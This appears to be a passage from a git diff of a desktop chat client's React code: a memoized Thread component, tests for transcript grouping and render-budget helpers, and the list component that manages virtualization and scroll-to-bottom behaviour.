+import { UserEditComposer } from '@/components/assistant-ui/thread/user-edit-composer'
+import { UserMessage } from '@/components/assistant-ui/thread/user-message'
+import { Intro, type IntroProps } from '@/components/chat/intro'
+import { ConfirmDialog } from '@/components/ui/confirm-dialog'
+import { useI18n } from '@/i18n'
+import { notifyError } from '@/store/notifications'
+
+type ThreadLoadingState = 'response' | 'session'
+
+interface ThreadEditContextValue {
+  cwd: string | null
+  gateway: ClawCodexGateway | null
+  sessionId: string | null
+}
+
+// Edit-composer context. The composer only exists while a message is being
+// edited, and it mounts deep inside the memo'd ThreadMessageList, so the
+// edit context can neither ride the component-map memo deps (that remints
+// the component types on every session switch and remounts the outgoing
+// transcript) nor sit in a render-time ref (a mounted composer never
+// re-reads it when a same-session change leaves every list prop
+// referentially equal). Context solves both: the component type stays
+// stable, and a changed value propagates straight to the mounted consumer.
+const ThreadEditContext = createContext<ThreadEditContextValue>({ cwd: null, gateway: null, sessionId: null })
+
+interface ThreadProps {
+  clampToComposer?: boolean
+  cwd?: string | null
+  gateway?: ClawCodexGateway | null
+  intro?: IntroProps
+  loading?: ThreadLoadingState
+  onBranchInNewChat?: (messageId: string) => void
+  onCancel?: () => Promise<void> | void
+  onDismissError?: (messageId: string) => void
+  onRestoreToMessage?: (messageId: string, target?: RestoreMessageTarget) => Promise<void> | void
+  sessionId?: string | null
+  sessionKey?: string | null
+}
+
+// memo'd on purpose, and load-bearing for session-switch cost. ChatView
+// re-renders on every route change (it reads `location`), and this subtree is
+// the entire transcript — without a bail-out here the router's context update
+// rebuilds every message of the OUTGOING thread before it is replaced. The
+// props above are all stable across a plain re-render (see the component-map
+// and loadingIndicator memos below), so the only thing that gets through is a
+// genuine change.
+export const Thread = memo(function Thread({
+  clampToComposer = false,
+  cwd = null,
+  gateway = null,
+  intro,
+  loading,
+  onBranchInNewChat,
+  onCancel,
+  onDismissError,
+  onRestoreToMessage,
+  sessionId = null,
+  sessionKey
+}: ThreadProps) {
+  const { t } = useI18n()
+  const copy = t.assistant.thread
+
+  const [restoreConfirmTarget, setRestoreConfirmTarget] = useState<
+    (RestoreMessageTarget & { messageId: string }) | null
+  >(null)
+
+  const closeRestoreConfirm = useCallback(() => setRestoreConfirmTarget(null), [])
+
+  const confirmRestore = useCallback(() => {
+    if (!restoreConfirmTarget || !onRestoreToMessage) {
+      throw new Error('Restore is unavailable for this message.')
+    }
+
+    const { messageId, text, userOrdinal } = restoreConfirmTarget
+
+    closeRestoreConfirm()
+    void Promise.resolve(onRestoreToMessage(messageId, { text, userOrdinal })).catch((error: unknown) => {
+      notifyError(error, 'Restore failed')
+    })
+  }, [closeRestoreConfirm, onRestoreToMessage, restoreConfirmTarget])
+
+  const requestRestoreConfirm = useCallback((messageId: string, target: RestoreMessageTarget) => {
+    setRestoreConfirmTarget({ messageId, ...target })
+  }, [])
+
+  // The values in this map are component *types*: when their identity
+  // changes, React unmounts and remounts every visible message — async
+  // re-rendered parts (shiki code blocks) collapse and re-expand, so the
+  // whole thread visibly jumps. Parents re-render on unrelated state
+  // (e.g. the 15s status-snapshot poll in the desktop controller) and
+  // can't be trusted to keep callback identities stable (see #38333), so
+  // route the callbacks through a ref instead of listing them as memo
+  // deps. Only their definedness stays a dep — it gates UI (the user
+  // Stop button, the restore-confirm affordance). Assigned during render
+  // (the useStoreSelector pattern) so the ref never lags a render.
+  //
+  // cwd / gateway / sessionId stay OUT of the memo deps for the same
+  // reason: all three change on EVERY session switch, so listing them
+  // re-minted these types mid-switch and remounted the entire OUTGOING
+  // transcript — thousands of renders of a thread that was about to be
+  // replaced, all of it before the resume RPC had even been sent. They
+  // reach the edit composer through ThreadEditContext instead (see above).
+  const callbacksRef = useRef({ onBranchInNewChat, onCancel, onDismissError, onRestoreToMessage })
+  callbacksRef.current = { onBranchInNewChat, onCancel, onDismissError, onRestoreToMessage }
+
+  // Only changes identity when one of the three values does, so Thread
+  // re-renders for unrelated reasons never re-render the composer.
+  const editContext = useMemo(() => ({ cwd, gateway, sessionId }), [cwd, gateway, sessionId])
+
+  const hasBranchInNewChat = Boolean(onBranchInNewChat)
+  const hasCancel = Boolean(onCancel)
+  const hasDismissError = Boolean(onDismissError)
+  const hasRestoreToMessage = Boolean(onRestoreToMessage)
+
+  const messageComponents = useMemo(
+    () => ({
+      AssistantMessage: () => (
+        <AssistantMessage
+          onBranchInNewChat={
+            hasBranchInNewChat ? messageId => callbacksRef.current.onBranchInNewChat?.(messageId) : undefined
+          }
+          onDismissError={hasDismissError ? messageId => callbacksRef.current.onDismissError?.(messageId) : undefined}
+        />
+      ),
+      SystemMessage,
+      UserEditComposer: () => {
+        const { cwd: editCwd, gateway: editGateway, sessionId: editSessionId } = useContext(ThreadEditContext)
+
+        return <UserEditComposer cwd={editCwd} gateway={editGateway} sessionId={editSessionId} />
+      },
+      UserMessage: () => (
+        <UserMessage
+          onCancel={hasCancel ? () => callbacksRef.current.onCancel?.() : undefined}
+          onRequestRestoreConfirm={hasRestoreToMessage ? requestRestoreConfirm : undefined}
+        />
+      )
+    }),
+    [hasBranchInNewChat, hasCancel, hasDismissError, hasRestoreToMessage, requestRestoreConfirm]
+  )
+
+  const emptyPlaceholder = intro ? (
+    <div className="flex min-h-0 w-full flex-col items-center justify-center pt-[var(--composer-measured-height)]">
+      <Intro {...intro} />
+    </div>
+  ) : undefined
+
+  // Stable element identity, for the same reason the component map above is
+  // memoized: this is a prop of the memo'd ThreadMessageList, so a fresh
+  // element every render defeats the bail-out and drags the whole transcript
+  // into the switch's render pass. It takes no props, so one element is
+  // always correct.
+  const loadingIndicator = useMemo(() => <BackgroundResumeNotice />, [])
+
+  return (
+    <ThreadEditContext.Provider value={editContext}>
+      <div className="relative grid h-full min-h-0 max-w-full grid-rows-[minmax(0,1fr)] overflow-hidden bg-transparent contain-[layout_paint]">
+        <ThreadMessageList
+          clampToComposer={clampToComposer}
+          components={messageComponents}
+          emptyPlaceholder={emptyPlaceholder}
+          loadingIndicator={loadingIndicator}
+          sessionKey={sessionKey}
+        />
+        {loading === 'session' && <CenteredThreadSpinner />}
+        <ThreadTimeline />
+        <ConfirmDialog
+          confirmLabel={copy.restoreConfirm}
+          description={copy.restoreBody}
+          destructive
+          onClose={closeRestoreConfirm}
+          onConfirm={confirmRestore}
+          open={Boolean(restoreConfirmTarget)}
+          title={copy.restoreTitle}
+        />
+      </div>
+    </ThreadEditContext.Provider>
+  )
+})
diff --git a/ui-desktop/src/components/assistant-ui/thread/list.test.ts b/ui-desktop/src/components/assistant-ui/thread/list.test.ts
new file mode 100644
index 000000000..f2a3d66b4
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/list.test.ts
@@ -0,0 +1,228 @@
+import { describe, expect, it } from 'vitest'
+
+import {
+  buildGroups,
+  firstVisibleGroupIndex,
+  LIVE_TAIL_MIN_GROUPS,
+  LIVE_TAIL_PARTS,
+  liveTailStart,
+  type MessageGroup,
+  resolveThreadScrollTarget
+} from './list'
+
+// Signature rows are `${index}:${id}:${role}:${weight}` (see the useAuiState
+// selector in list.tsx).
+const signature = (rows: [string, string, number][]) =>
+  rows.map(([id, role, weight], index) => `${index}:${id}:${role}:${weight}`).join('\n')
+
+describe('buildGroups', () => {
+  it('returns no groups for an empty signature', () => {
+    expect(buildGroups('')).toEqual([])
+  })
+
+  it('groups a user message with the assistant turn(s) that follow it', () => {
+    const groups = buildGroups(
+      signature([
+        ['u1', 'user', 1],
+        ['a1', 'assistant', 4],
+        ['a2', 'assistant', 2],
+        ['u2', 'user', 1],
+        ['a3', 'assistant', 3]
+      ])
+    )
+
+    expect(groups).toEqual([
+      { id: 'u1', indices: [0, 1, 2], kind: 'turn', weight: 7 },
+      { id: 'u2', indices: [3, 4], kind: 'turn', weight: 4 }
+    ])
+  })
+
+  it('keeps leading non-user messages as standalone groups', () => {
+    const groups = buildGroups(
+      signature([
+        ['s1', 'system', 1],
+        ['a0', 'assistant', 2],
+        ['u1', 'user', 1],
+        ['a1', 'assistant', 5]
+      ])
+    )
+
+    expect(groups).toEqual([
+      { id: 's1', index: 0, kind: 'standalone', weight: 1 },
+      { id: 'a0', index: 1, kind: 'standalone', weight: 2 },
+      { id: 'u1', indices: [2, 3], kind: 'turn', weight: 6 }
+    ])
+  })
+
+  it('defaults a missing/zero weight to 1', () => {
+    const groups = buildGroups('0:a:assistant:0')
+
+    expect(groups).toEqual([{ id: 'a', index: 0, kind: 'standalone', weight: 1 }])
+  })
+})
+
+describe('resolveThreadScrollTarget', () => {
+  const context = (scrollElement: Pick<HTMLElement, 'scrollTop'>) => ({
+    contentElement: document.createElement('div'),
+    scrollElement: scrollElement as HTMLElement
+  })
+
+  it('settles when the browser clamps the requested bottom within half a CSS pixel', () => {
+    let actualScrollTop = 0
+    let writes = 0
+
+    const scrollElement = {
+      get scrollTop() {
+        return actualScrollTop
+      },
+      set scrollTop(value: number) {
+        writes += 1
+        actualScrollTop = value - 0.125
+      }
+    }
+
+    const target = 899
+
+    const requested = resolveThreadScrollTarget(target, context(scrollElement))
+    scrollElement.scrollTop = requested
+    const settled = resolveThreadScrollTarget(target, context(scrollElement))
+
+    expect(requested).toBe(target)
+    expect(actualScrollTop).toBe(898.875)
+    expect(settled).toBe(actualScrollTop)
+    expect(actualScrollTop < settled).toBe(false)
+    expect(writes).toBe(1)
+  })
+
+  it('keeps following while more than half a CSS pixel remains', () => {
+    const scrollElement = { scrollTop: 898.25 }
+
+    expect(resolveThreadScrollTarget(899, context(scrollElement))).toBe(899)
+  })
+
+  it('re-arms after streaming content increases the target', () => {
+    const scrollElement = { scrollTop: 898.875 }
+
+    expect(resolveThreadScrollTarget(899, context(scrollElement))).toBe(898.875)
+    expect(resolveThreadScrollTarget(999, context(scrollElement))).toBe(999)
+  })
+})
+
+describe('firstVisibleGroupIndex', () => {
+  const group = (id: string, weight: number): MessageGroup => ({ id, index: 0, kind: 'standalone', weight })
+
+  it('shows everything when total weight fits the budget', () => {
+    const groups = [group('a', 10), group('b', 10), group('c', 10)]
+
+    expect(firstVisibleGroupIndex(groups, 100)).toBe(0)
+  })
+
+  it('walks newest-first and hides everything before the turn that meets the budget', () => {
+    const groups = [group('old', 50), group('mid', 30), group('new', 30)]
+
+    // newest-first: 30 (new) < 60, +30 (mid) = 60 >= 60 → mid is the first
+    // visible group, old is hidden.
+    expect(firstVisibleGroupIndex(groups, 60)).toBe(1)
+  })
+
+  it('keeps whole turns intact — the turn that crosses the budget stays visible', () => {
+    const groups = [group('old', 5), group('huge', 500)]
+
+    expect(firstVisibleGroupIndex(groups, 60)).toBe(1)
+  })
+
+  it('returns groups.length for an empty list', () => {
+    expect(firstVisibleGroupIndex([], 60)).toBe(0)
+  })
+
+  it('keeps a floor of turns visible however heavy they are', () => {
+    // Without the floor a session of enormous turns puts "Show earlier" two
+    // turns from the bottom, which reads as broken rather than as paging.
+    const groups = Array.from({ length: 20 }, (_, i) => group(`g${i}`, 5_000))
+
+    expect(firstVisibleGroupIndex(groups, 600, 8)).toBe(groups.length - 8)
+  })
+
+  it('does not force the floor to hide turns the budget already showed', () => {
+    const groups = Array.from({ length: 20 }, (_, i) => group(`g${i}`, 1))
+
+    expect(firstVisibleGroupIndex(groups, 600, 8)).toBe(0)
+  })
+})
+
+describe('liveTailStart', () => {
+  const group = (id: string, weight: number): MessageGroup => ({ id, index: 0, kind: 'standalone', weight })
+
+  it('keeps the newest turns rendered until the parts budget is spent', () => {
+    // 10 turns x 10 parts. A 40-part tail covers the newest 4-5 turns.
+    const groups = Array.from({ length: 10 }, (_, i) => group(`g${i}`, 10))
+    const start = liveTailStart(groups)
+
+    expect(start).toBeGreaterThan(0)
+    expect(start).toBeLessThan(groups.length)
+
+    // Everything from `start` onward is the live tail...
+    const tailParts = groups.slice(start).reduce((sum, g) => sum + g.weight, 0)
+    expect(tailParts).toBeGreaterThan(LIVE_TAIL_PARTS)
+
+    // ...and dropping its oldest member puts it back under budget, i.e. the
+    // tail is minimal rather than sprawling.
+    const withoutOldest = groups.slice(start + 1).reduce((sum, g) => sum + g.weight, 0)
+    expect(withoutOldest).toBeLessThanOrEqual(LIVE_TAIL_PARTS)
+  })
+
+  it('virtualizes the old bulk of a long agent transcript', () => {
+    // The regression this guards: heavy tool turns. A turn-count tail (6) left
+    // NOTHING virtualized on transcripts like this, so every Radix overlay open
+    // paid a whole-document style recalc.
+    const groups = Array.from({ length: 40 }, (_, i) => group(`g${i}`, 120))
+
+    // Only the min-group floor stays rendered; the other 38 turns skip.
+    expect(liveTailStart(groups)).toBe(groups.length - LIVE_TAIL_MIN_GROUPS)
+  })
+
+  it('never virtualizes below the min-group floor, however heavy the turns', () => {
+    const groups = Array.from({ length: 5 }, (_, i) => group(`g${i}`, 10_000))
+
+    expect(liveTailStart(groups)).toBe(groups.length - LIVE_TAIL_MIN_GROUPS)
+  })
+
+  it('keeps every turn rendered when the whole transcript fits in the tail', () => {
+    const groups = [group('a', 5), group('b', 5), group('c', 5)]
+
+    expect(liveTailStart(groups)).toBe(0)
+  })
+
+  it('handles an empty transcript', () => {
+    expect(liveTailStart([])).toBe(0)
+  })
+
+  it('honors a custom budget', () => {
+    const groups = Array.from({ length: 10 }, (_, i) => group(`g${i}`, 1))
+
+    // A 3-part budget would keep 4 turns, but the max-groups ceiling is not hit
+    // here, so the parts budget wins.
+    expect(liveTailStart(groups, 3)).toBe(6)
+  })
+
+  it('never renders more than the old turn-count tail did, on any shape', () => {
+    // Guards the one way a parts budget can regress: a long transcript of tiny
+    // turns, where walking back 40 parts reaches further than 6 turns would.
+    const shapes = [
+      Array.from({ length: 40 }, () => 4), // long chat, tiny turns
+      Array.from({ length: 40 }, () => 1), // pathological: 1-part turns
+      Array.from({ length: 12 }, () => 6),
+      [80, 120, 60, 150, 90, 200, 70], // real agent tile
+      [30, 45]
+    ]
+
+    for (const weights of shapes) {
+      const groups = weights.map((weight, i) => group(`g${i}`, weight))
+      const rendered = (start: number) => weights.slice(start).reduce((a, b) => a + b, 0)
+
+      const oldStart = Math.max(0, groups.length - 6)
+
+      expect(rendered(liveTailStart(groups))).toBeLessThanOrEqual(rendered(oldStart))
+    }
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/thread/list.tsx b/ui-desktop/src/components/assistant-ui/thread/list.tsx
new file mode 100644
index 000000000..a2409ad80
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/list.tsx
@@ -0,0 +1,658 @@
+import { ThreadPrimitive, useAuiEvent, useAuiState } from '@assistant-ui/react'
+import {
+  type ComponentProps,
+  type CSSProperties,
+  type FC,
+  memo,
+  type ReactNode,
+  startTransition,
+  useCallback,
+  useEffect,
+  useLayoutEffect,
+  useMemo,
+  useRef,
+  useState
+} from 'react'
+import { type GetTargetScrollTop, useStickToBottom } from 'use-stick-to-bottom'
+
+import { useI18n } from '@/i18n'
+import { messagePaintWeight } from '@/lib/render-weight'
+import { cn } from '@/lib/utils'
+import {
+  onScrollToBottomRequest,
+  onThreadEditClose,
+  onThreadEditOpen,
+  resetThreadScroll,
+  setThreadAtBottom
+} from '@/store/thread-scroll'
+import { isSecondaryWindow } from '@/store/windows'
+
+import { MessageRenderBoundary } from '../message-render-boundary'
+
+import { resolveShowEarlierAction, useTranscriptWindow } from './transcript-window'
+
+type ThreadMessageComponents = ComponentProps<typeof ThreadPrimitive.MessageByIndex>['components']
+
+export type MessageGroup = { id: string; weight: number } & (
+  { index: number; kind: 'standalone' } | { indices: number[]; kind: 'turn' }
+)
+
+// DOM is bounded by a render-cost budget, not a message/turn count. The
+// currency is `messagePaintWeight`: what a turn actually MOUNTS, which is what
+// the grouping decides rather than what the payload weighs. A settled run of
+// twelve reads is one grey summary line, a thought is one collapsed
+// disclosure, a hoisted `todo` is nothing — while a diff, an image card or a
+// wall of markdown really does build DOM and is charged for it.
+//
+// Pricing by payload instead had the budget counting work that never mounts:
+// one tool-heavy turn measured 84-281 units of tool JSON that painted as a
+// dozen one-line summaries, so a session spent the whole page in two or three
+// turns and offered "Show earlier" over a screen and a half of transcript.
+//
+// "Show earlier" prepends another page; whole turns stay intact so the sticky
+// human bubble never loses its turn. This is the long-session perf lever WITHOUT
+// a virtualizer — pure rendering, never touches scrollTop, so it can't fight
+// use-stick-to-bottom (the single scroll owner).
+//
+// 600 units ≈ 10-20 agentic turns on measured real sessions (a tool-heavy turn
+// prices at 30-90, a plain exchange at 5-10), and a whole session of ordinary
+// work now fits one page instead of paging three times to reach its start.
+// What the DOM can hold is bounded above by the store window regardless
+// (TRANSCRIPT_WINDOW_BUDGET), so this cannot admit more than one window's
+// content.
+const RENDER_BUDGET = 600
+// Never offer "Show earlier" over fewer turns than this, however heavy they
+// are. A weight-only cut on a session of enormous turns put the button two
+// turns from the bottom, where it reads as broken rather than as paging — the
+// user has not been given enough transcript to have gone looking for more. The
+// store window caps what the DOM can reach at all, so a floor here stays
+// bounded.
+const MIN_VISIBLE_GROUPS = 8
+// On session switch, paint a small budget first (enough for the bottom turn(s)
+// the user actually sees after scroll-to-bottom), then bump to the full budget
+// in a requestAnimationFrame — defers the heavy markdown+syntax-highlight render
+// past the initial commit, so the switch feels instant.
+//
+// 20, down from 60: the first-paint commit is synchronous and uninterruptible,
+// and at 60 cost units it measured 627ms on a real session (LoAF: block=575ms, no
+// attributed script — pure commit). A viewport after scroll-to-bottom shows
+// 1-2 normal turns ≈ 10-20 units; the transition backfill below fills the rest
+// interruptibly, so the only thing a smaller budget changes is how much work
+// blocks the click-to-paint path.
+const FIRST_PAINT_BUDGET = 20
+
+// Browsers may quantize a requested scrollTop to a nearby device-pixel
+// boundary. use-stick-to-bottom otherwise compares the lower actual value to
+// the integer target forever, re-requesting the same instant scroll every
+// frame. Treat a subpixel remainder as achieved; larger gaps still follow new
+// streamed content normally.
+const SCROLL_TARGET_EPSILON_PX = 0.5
+
+export const resolveThreadScrollTarget: GetTargetScrollTop = (targetScrollTop, { scrollElement }) => {
+  const currentScrollTop = scrollElement.scrollTop
+  const remaining = targetScrollTop - currentScrollTop
+
+  return remaining >= 0 && remaining <= SCROLL_TARGET_EPSILON_PX ? currentScrollTop : targetScrollTop
+}
+
+interface ThreadMessageListProps {
+  clampToComposer: boolean
+  components: ThreadMessageComponents
+  emptyPlaceholder?: ReactNode
+  loadingIndicator?: ReactNode
+  sessionKey?: string | null
+}
+
+// Group each user message with the assistant turn(s) that follow it so the
+// human bubble can `position: sticky` against the scroller across its whole
+// turn (see StickyHumanMessageContainer in thread.tsx).
+export function buildGroups(signature: string): MessageGroup[] {
+  if (!signature) {
+    return []
+  }
+
+  const messages = signature.split('\n').map(row => {
+    const [index, id, role, weight] = row.split(':')
+
+    return { id, index: Number(index), role, weight: Number(weight) || 1 }
+  })
+
+  const groups: MessageGroup[] = []
+
+  for (let i = 0; i < messages.length; i++) {
+    const message = messages[i]
+
+    if (message.role !== 'user') {
+      groups.push({ id: message.id, index: message.index, kind: 'standalone', weight: message.weight })
+
+      continue
+    }
+
+    const indices = [message.index]
+    let weight = message.weight
+
+    while (i + 1 < messages.length && messages[i + 1].role !== 'user') {
+      weight += messages[++i].weight
+      indices.push(messages[i].index)
+    }
+
+    groups.push({ id: message.id, indices, kind: 'turn', weight })
+  }
+
+  return groups
+}
+
+// Walk turns newest-first, summing their render weights until the budget is met;
+// everything before the first kept turn is hidden. `minVisible` turns are kept
+// regardless of weight. Returns the index of that first visible group.
+export function firstVisibleGroupIndex(groups: readonly MessageGroup[], budget: number, minVisible = 0): number {
+  let firstVisible = groups.length
+
+  for (let i = groups.length - 1, weight = 0; i >= 0; i--) {
+    weight += groups[i].weight
+    firstVisible = i
+
+    if (weight >= budget) {
+      break
+    }
+  }
+
+  return Math.min(firstVisible, Math.max(0, groups.length - minVisible))
+}
+
+// content-visibility:auto skips off-screen turns for perf, but with
+// contain-intrinsic-size:auto the browser only remembers a turn's size AFTER
+// it has rendered. A turn that finishes streaming near the bottom may have had
+// its (smaller) mid-stream size remembered; when it scrolls just off the top
+// edge and gets skipped, it snaps back to that stale height, shifting content
+// down. With overflow-anchor:none (the viewport can't self-correct) the
+// stick-to-bottom lock drifts and the view creeps up over older turns — the
+// "long session eventually shows old responses" glitch.
+//
+// Keep the newest turns always-rendered so a turn is only ever virtualized
+// once its layout has settled at its final size (remembered == real → skipping
+// it changes no height). Off-screen OLDER turns still skip, so the dialog/popover
+// recalc win on long transcripts is preserved.
+//
+// The tail is budgeted in render-cost units, not turns, because that is what the
+// cost actually scales with — the same currency as RENDER_BUDGET /
+// FIRST_PAINT_BUDGET.
+// A turn-count tail silently defeats itself on agent transcripts: one tool-heavy
+// turn is 50-200 units, so a 6-TURN tail exempted the entire visible transcript
+// and nothing virtualized at all. Measured on a 5-tile window (7/3/5/3/2 groups
+// per tile): zero content-visibility containers were active, and every Radix
+// overlay open paid the full ~610ms whole-document recalc that #66470 fixed.
+//
+// 40 units ≈ the 1-2 turns a viewport shows after scroll-to-bottom (the same
+// reasoning as FIRST_PAINT_BUDGET=20, doubled so a turn that grows mid-stream
+// doesn't fall out of the tail as it settles).
+export const LIVE_TAIL_PARTS = 40
+// Floor: always exempt at least this many turns regardless of weight, so a
+// transcript of very heavy turns still keeps the streaming one unvirtualized.
+export const LIVE_TAIL_MIN_GROUPS = 2
+// Ceiling: never exempt more than this many turns, however light they are. On a
+// long transcript of tiny turns a weight-only budget would walk back further
+// than the old turn-count tail did and virtualize LESS — this keeps the new
+// policy a strict improvement on every shape.
+export const LIVE_TAIL_MAX_GROUPS = 6
+
+/**
+ * Index of the newest group that still virtualizes — everything at or after it
+ * is the live tail and stays rendered. Walks newest-first accumulating weight,
+ * so the tail covers a viewport's worth of content rather than a fixed number
+ * of turns, clamped to [MIN, MAX] turns. Computed once per render, not per row.
+ */
+export function liveTailStart(
+  groups: readonly MessageGroup[],
+  tailWeight = LIVE_TAIL_PARTS,
+  minGroups = LIVE_TAIL_MIN_GROUPS,
+  maxGroups = LIVE_TAIL_MAX_GROUPS
+): number {
+  let weight = 0
+  let start = groups.length
+
+  for (let i = groups.length - 1; i >= 0; i--) {
+    weight += groups[i]?.weight ?? 1
+    start = i
+
+    if (weight > tailWeight) {
+      break
+    }
+  }
+
+  // Clamp the tail to [minGroups, maxGroups] turns: the floor keeps the live
+  // turn rendered when turns are huge, the ceiling stops a tail of tiny turns
+  // from sprawling past what the old turn-count policy rendered.
+  const floor = Math.max(0, groups.length - minGroups)
+  const ceiling = Math.max(0, groups.length - maxGroups)
+
+  return Math.min(floor, Math.max(ceiling, start))
+}
+
+const ThreadMessageListInner: FC<ThreadMessageListProps> = ({
+  clampToComposer,
+  components,
+  emptyPlaceholder,
+  loadingIndicator,
+  sessionKey
+}) => {
+  // TWO signatures, deliberately split. The STRUCTURAL one (ids/roles/count)
+  // changes only when messages are added/removed/swapped — it keys the error
+  // boundaries and the row identity. The WEIGHT one (parts + character cost)
+  // ticks while a streaming turn appends content — it feeds only the render
+  // budget. Folding weights into the structural key handed every boundary a
+  // new resetKey per appended part, which reconciled every turn's subtree on
+  // every tick (measured: 540 wasted Block renders per explain() sample with
+  // two threads streaming).
+  const structuralSignature = useAuiState(s =>
+    s.thread.messages.map((message, index) => `${index}:${message.id}:${message.role}`).join('\n')
+  )
+
+  const weightSignature = useAuiState(s =>
+    s.thread.messages.map(message => messagePaintWeight(message.content)).join(',')
+  )
+
+  const { t } = useI18n()
+  // Row structure is memoized on the STRUCTURAL signature only, so streaming
+  // part-appends can't churn group identity (that would defeat the rows memo
+  // below on every tick). Weights are folded in separately for the budget.
+  const groups = useMemo(() => buildGroups(structuralSignature), [structuralSignature])
+  const renderEmpty = groups.length === 0 && Boolean(emptyPlaceholder)
+
+  // use-stick-to-bottom owns scrollTop (single writer): follow while locked,
+  // escape on user scroll-up, re-lock at bottom. Snap instantly, not spring — a
+  // spring can't tell live-token growth from a session-switch bulk relayout, and
+  // chasing the latter reads as the view scrolling to random spots before
+  // settling. Its refs hang off our own DOM so the sticky human bubbles survive.
+  const { scrollRef, contentRef, isAtBottom, scrollToBottom, stopScroll } = useStickToBottom({
+    initial: 'instant',
+    resize: 'instant',
+    targetScrollTop: resolveThreadScrollTarget
+  })
+
+  const { olderAvailable, expandWindow } = useTranscriptWindow()
+
+  const [renderBudget, setRenderBudget] = useState(FIRST_PAINT_BUDGET)
+
+  // Cut the budget during RENDER, not in the post-commit layout effect. An
+  // effect-time cut is too late: React would first build the whole tree with
+  // the full budget (up to 300 cost units of markdown + syntax highlighting),
+  // commit it, and only then re-render at the small budget. The render-phase
+  // state adjustment restarts this component immediately — before any child
+  // renders — so the heavy commit never happens.
+  //
+  // Two triggers, because the transcript swap arrives differently per path:
+  // a WARM switch publishes sessionKey + messages in one commit (the key
+  // branch), while a COLD switch changes sessionKey with an empty transcript
+  // and the prefetched messages land hundreds of ms later under the SAME key
+  // (the empty→non-empty branch).
+  const hasGroups = groups.length > 0
+  const [budgetSessionKey, setBudgetSessionKey] = useState(sessionKey)
+  const [hadGroups, setHadGroups] = useState(hasGroups)
+
+  if (budgetSessionKey !== sessionKey) {
+    setBudgetSessionKey(sessionKey)
+    setHadGroups(hasGroups)
+    setRenderBudget(FIRST_PAINT_BUDGET)
+  } else if (hadGroups !== hasGroups) {
+    setHadGroups(hasGroups)
+
+    if (hasGroups) {
+      setRenderBudget(FIRST_PAINT_BUDGET)
+    }
+  }
+
+  // Where to land after a prepend, in distance-from-bottom (survives the
+  // height change). Shared by "Show earlier" and the budget backfill below.
+  const restoreFromBottomRef = useRef<number | null>(null)
+  // False from a session switch until the settle loop below parks the
+  // transcript at its true bottom. While false, scrollTop is a way-point of a
+  // load in progress, not a reading position anyone chose — never anchor to it.
+  const loadSettledRef = useRef(false)
+  // Session the settle loop last armed for, so a re-arm within the same load
+  // is distinguishable from a switch to a different transcript.
+  const settleKeyRef = useRef(sessionKey)
+
+  // Record where the view should land once a prepend has grown the content,
+  // measured from the BOTTOM so the added height doesn't invalidate it. Only a
+  // settled load has an offset the user chose; mid-load the answer is simply
+  // the bottom.
+  const anchorBeforePrepend = useCallback(() => {
+    const el = scrollRef.current
+
+    restoreFromBottomRef.current = el && loadSettledRef.current ? el.scrollHeight - el.scrollTop : 0
+  }, [scrollRef])
+
+  // Backfill from FIRST_PAINT_BUDGET to the full budget after the small
+  // commit painted — as a TRANSITION, so the heavy markdown + syntax
+  // highlight render of the older turns is interruptible instead of one long
+  // synchronous commit that freezes input right after the switch. Route
+  // changes stay urgent (main.tsx disables router transitions); it's exactly
+  // this backfill that belongs at background priority. "Show earlier" pages
+  // (budget > RENDER_BUDGET) never re-enter here.
+  useEffect(() => {
+    if (renderBudget >= RENDER_BUDGET) {
+      return
+    }
+
+    const rafId = requestAnimationFrame(() => {
+      // The backfill PREPENDS older turns, so everything on screen slides down
+      // by their height. Anchor first and let the restore effect below re-apply
+      // it in the same commit the taller tree lands in — otherwise the view is
+      // stranded near the TOP until use-stick-to-bottom's ResizeObserver
+      // catches up a frame or two later (measured: an 11.5k px jump showing
+      // ~160ms of unrelated old turns, on every session load).
+      anchorBeforePrepend()
+
+      // Functional max, not a plain set: an urgent "Show earlier" click can
+      // land between scheduling and committing this transition, and a plain
+      // set would rebase over it and shrink the budget back down.
+      startTransition(() => setRenderBudget(budget => Math.max(budget, RENDER_BUDGET)))
+    })
+
+    return () => cancelAnimationFrame(rafId)
+  }, [anchorBeforePrepend, renderBudget])
+
+  // Weights (part count + visible character cost) fold into the BUDGET only.
+  // Group identity stays structural, so a streaming append re-runs this cheap
+  // sum — not the row JSX. Settled content hits messagePaintWeight's WeakMap.
+  const weightedGroups = useMemo(() => {
+    const weights = weightSignature.split(',').map(w => Number(w) || 1)
+
+    return groups.map(group => ({
+      ...group,
+      weight:
+        group.kind === 'turn'
+          ? group.indices.reduce((sum, index) => sum + (weights[index] ?? 1), 0)
+          : (weights[group.index] ?? 1)
+    }))
+  }, [groups, weightSignature])
+
+  // The turn floor applies to a real page only. During the first-paint budget
+  // the point is a small synchronous commit; forcing 8 turns into it would put
+  // back exactly the freeze FIRST_PAINT_BUDGET exists to avoid, and the rAF
+  // backfill a frame later fills them in anyway.
+  const hiddenCount = firstVisibleGroupIndex(
+    weightedGroups,
+    renderBudget,
+    renderBudget >= RENDER_BUDGET ? MIN_VISIBLE_GROUPS : 0
+  )
+
+  const visibleGroups = hiddenCount > 0 ? groups.slice(hiddenCount) : groups
+
+  // Where the always-rendered live tail begins. Derived from the WEIGHTED
+  // groups (render cost, not turns) so the tail is a viewport's worth of content —
+  // see liveTailStart. Computed once here rather than per row.
+  const tailStart = useMemo(
+    () => liveTailStart(hiddenCount > 0 ? weightedGroups.slice(hiddenCount) : weightedGroups),
+    [weightedGroups, hiddenCount]
+  )
+
+  // Secondary windows (new-session scratch, subagent watch, cmd-click pop-out)
+  // hide the titlebar tool cluster + session header, but the OS traffic lights
+  // still sit in the top-left, so reserve the titlebar gap above the transcript.
+  const secondaryWindow = isSecondaryWindow()
+  // NB: CSS calc() requires whitespace around the +/- operator. This string is
+  // assigned verbatim to the --sticky-human-top inline style below (it does not
+  // go through Tailwind, which would auto-space it), so the spaces are load-
+  // bearing — without them the declaration is invalid, gets dropped, and the
+  // sticky user bubble falls back to its ~4px default and slides under the OS
+  // traffic lights.
+  const secondaryTitlebarGap = 'calc(var(--titlebar-height) + 0.75rem)'
+
+  const threadContentTopPad = secondaryWindow
+    ? 'pt-[calc(var(--titlebar-height)+0.75rem)]'
+    : 'pt-[calc(var(--titlebar-height)-0.5rem)]'
+
+  useEffect(() => setThreadAtBottom(isAtBottom), [isAtBottom])
+  useEffect(() => () => resetThreadScroll(), [])
+
+  // Floating jump button (outside this subtree) → return to the bottom.
